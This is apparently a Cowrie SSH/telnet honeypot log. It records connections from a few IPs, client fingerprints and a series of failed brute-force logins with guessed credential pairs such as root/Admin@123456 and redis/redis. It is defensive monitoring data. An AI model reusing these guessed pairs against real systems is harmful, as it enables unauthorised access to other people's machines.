{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123456","message":"login attempt [root/Admin@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:08.227854Z","src_ip":"192.109.200.78","session":"cda33f76959a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.90065407752991,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:08.663371Z","src_ip":"206.189.71.75","session":"1da24197ed1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:09.312019Z","src_ip":"192.109.200.78","session":"cda33f76959a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.57479953765869,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:11.367401Z","src_ip":"206.189.71.75","session":"7e0f0636c8dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60078,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f4edeed2e69","protocol":"ssh","message":"New connection: 192.109.200.78:60078 (10.17.0.5:22) [session: 3f4edeed2e69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:12.135833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:12.140366Z","src_ip":"192.109.200.78","session":"3f4edeed2e69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:12.228812Z","src_ip":"192.109.200.78","session":"3f4edeed2e69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hu","password":"123456","message":"login attempt [hu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:12.772834Z","src_ip":"192.109.200.78","session":"3f4edeed2e69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:13.992918Z","src_ip":"192.109.200.78","session":"3f4edeed2e69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":49126,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ecd7d3ca0df","protocol":"telnet","message":"New connection: 206.189.71.75:49126 (159.203.135.109:23) [session: 6ecd7d3ca0df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:14.064477Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":48356,"dst_ip":"159.203.135.109","dst_port":23,"session":"788283221d76","protocol":"telnet","message":"New connection: 206.189.71.75:48356 (159.203.135.109:23) [session: 788283221d76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:14.290428Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53940,"dst_ip":"159.203.135.109","dst_port":22,"session":"d63fff603815","protocol":"ssh","message":"New connection: 159.203.92.129:53940 (159.203.135.109:22) [session: d63fff603815]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:14.699321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:14.721171Z","src_ip":"159.203.92.129","session":"d63fff603815","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:14.724804Z","src_ip":"159.203.92.129","session":"d63fff603815","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Asdf@123","message":"login attempt [admin/Asdf@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:14.775805Z","src_ip":"159.203.92.129","session":"d63fff603815","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:15.788815Z","src_ip":"159.203.92.129","session":"d63fff603815","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.165771484375,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:16.161076Z","src_ip":"206.189.71.75","session":"559be25f7920","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60096,"dst_ip":"10.17.0.5","dst_port":22,"session":"94a3e7d847e4","protocol":"ssh","message":"New connection: 192.109.200.78:60096 (10.17.0.5:22) [session: 94a3e7d847e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:16.224117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:16.308435Z","src_ip":"192.109.200.78","session":"94a3e7d847e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:16.428984Z","src_ip":"192.109.200.78","session":"94a3e7d847e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fahmi","password":"fahmi","message":"login attempt [fahmi/fahmi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:16.684827Z","src_ip":"192.109.200.78","session":"94a3e7d847e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":52022,"dst_ip":"159.203.135.109","dst_port":23,"session":"cef97c530b7f","protocol":"telnet","message":"New connection: 206.189.71.75:52022 (159.203.135.109:23) [session: cef97c530b7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:17.429071Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:17.769321Z","src_ip":"192.109.200.78","session":"94a3e7d847e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.41295289993286,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:19.907598Z","src_ip":"206.189.71.75","session":"cfdb464d927a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43198,"dst_ip":"10.17.0.5","dst_port":22,"session":"08605b1fd30e","protocol":"ssh","message":"New connection: 192.109.200.78:43198 (10.17.0.5:22) [session: 08605b1fd30e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:20.397558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:20.405967Z","src_ip":"192.109.200.78","session":"08605b1fd30e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.25317144393921,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:20.456105Z","src_ip":"206.189.71.75","session":"e939b9a84cbc","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:20.493609Z","src_ip":"192.109.200.78","session":"08605b1fd30e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fivem","password":"fivem","message":"login attempt [fivem/fivem] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:20.748671Z","src_ip":"192.109.200.78","session":"08605b1fd30e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":55328,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc94836ca7e9","protocol":"telnet","message":"New connection: 206.189.71.75:55328 (159.203.135.109:23) [session: bc94836ca7e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:21.488562Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:21.834891Z","src_ip":"192.109.200.78","session":"08605b1fd30e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43228,"dst_ip":"10.17.0.5","dst_port":22,"session":"49a79ef022e0","protocol":"ssh","message":"New connection: 192.109.200.78:43228 (10.17.0.5:22) [session: 49a79ef022e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:24.622179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:24.626948Z","src_ip":"192.109.200.78","session":"49a79ef022e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:24.712336Z","src_ip":"192.109.200.78","session":"49a79ef022e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"redis","password":"redis","message":"login attempt [redis/redis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:24.957722Z","src_ip":"192.109.200.78","session":"49a79ef022e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:26.042019Z","src_ip":"192.109.200.78","session":"49a79ef022e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":60572,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ff470bf4759","protocol":"telnet","message":"New connection: 206.189.71.75:60572 (159.203.135.109:23) [session: 7ff470bf4759]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:27.913622Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33174,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c5b4a9d2426","protocol":"ssh","message":"New connection: 192.109.200.78:33174 (10.17.0.5:22) [session: 1c5b4a9d2426]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:28.717187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:28.721214Z","src_ip":"192.109.200.78","session":"1c5b4a9d2426","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:28.804760Z","src_ip":"192.109.200.78","session":"1c5b4a9d2426","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"123456","message":"login attempt [amir/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:29.055532Z","src_ip":"192.109.200.78","session":"1c5b4a9d2426","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:30.141686Z","src_ip":"192.109.200.78","session":"1c5b4a9d2426","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33188,"dst_ip":"10.17.0.5","dst_port":22,"session":"79634887ab27","protocol":"ssh","message":"New connection: 192.109.200.78:33188 (10.17.0.5:22) [session: 79634887ab27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:32.946155Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:32.951273Z","src_ip":"192.109.200.78","session":"79634887ab27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:33.038038Z","src_ip":"192.109.200.78","session":"79634887ab27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"usuario","password":"usuario","message":"login attempt [usuario/usuario] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:33.567901Z","src_ip":"192.109.200.78","session":"79634887ab27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":37346,"dst_ip":"159.203.135.109","dst_port":23,"session":"642a6af03d76","protocol":"telnet","message":"New connection: 206.189.71.75:37346 (159.203.135.109:23) [session: 642a6af03d76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:34.174598Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":37714,"dst_ip":"159.203.135.109","dst_port":23,"session":"f746a3b68160","protocol":"telnet","message":"New connection: 206.189.71.75:37714 (159.203.135.109:23) [session: f746a3b68160]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:34.740989Z"}
